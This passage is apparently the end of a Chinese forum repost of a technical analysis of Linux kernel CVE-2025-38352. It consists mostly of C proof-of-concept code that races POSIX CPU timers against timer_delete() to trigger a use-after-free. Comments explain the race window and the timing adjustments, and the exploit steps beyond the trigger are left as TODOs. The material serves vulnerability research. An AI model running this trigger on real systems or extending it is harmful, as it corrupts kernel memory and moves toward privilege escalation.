struct itimerspec ts = {
                    .it_interval = {0, 0},
                    .it_value = {
                        .tv_sec = 0,
                        .tv_nsec = ONE_MS_NS - 1,
                    },
                };

for (int i = 0; i < NUM_TIMERS; i++) {
                    timer_settime(stall_timers[i], 0, &ts, NULL);
                }

// 将 UAF 计时器设置为最晚触发的那个
                ts.it_value.tv_nsec = ONE_MS_NS;
                timer_settime(uaf_timer, 0, &ts, NULL);

// 计时器已启动,让 REAPEE 线程继续执行
                pthread_barrier_wait(&barrier); // barrier 3

// 当 waitpid() 成功返回时,父进程会向我们写入。
//
// 此时,如果我们赢得了竞争,`handle_posix_cpu_timers()`将在
// 竞争窗口内,并且`timer_delete()`应该看到一个空(NULL)的`sighand`,这
// 将导致它无条件地释放计时器。
                SYSCHK(read(p2c[0], &m, 1));

// 竞争窗口通常至少开放3毫秒,因此我们可以睡眠
// 1毫秒以增加我们在此处执行释放操作命中的机会。
//
// 可能需要在不同系统上修改此值,因为它取决于
// 竞争窗口开放多长时间。KASAN也不允许
// 创建太多睡眠线程,因此如果启用KASAN,
// 需要稍微降低此值。
                usleep(1 * 1000);
                timer_delete(uaf_timer);

// 让计时器被RCU释放,然后让父进程知道它可以退出
                wait_for_rcu();

// 此时,要么UAF已触发,你会在dmesg中看到内核告警
// 或KASAN崩溃信息,要么我们失败了。
//
// TODO exploit: 在此处找出如何检测我们是否赢得了竞争
for (int i = 0; i < num_sleep_threads; i++) {
                    write(stall_fds[1], &m, 1);
                }
for (int i = 0; i < num_sleep_threads; i++) {
                    pthread_join(sleep_threads[i], NULL);
                }

// 向父进程发出信号以退出
                SYSCHK(write(c2p[1], &m, 1));

// 等待父进程退出
                close(c2p[1]);
                close(p2c[0]);
                close(stall_fds[0]);
                close(stall_fds[1]);
exit(0);
            }
        }
    }
// 如果我们跳出上面的 while 循环,说明赢得了竞争
// TODO exploit:
exit(0);
}

原文:https://faith2dxy.xyz/2025-12-24/cve_2025_38352_analysis_part_2/

欢迎在云栈社区交流更多内核安全技术。




上一篇:智能分析Agent:为何比ChatBI更胜任企业数据分析?
下一篇:接口超时排查:从微前端改造到浏览器HTTP请求并发的深夜告警之谜
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-18 18:43 , Processed in 0.243193 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表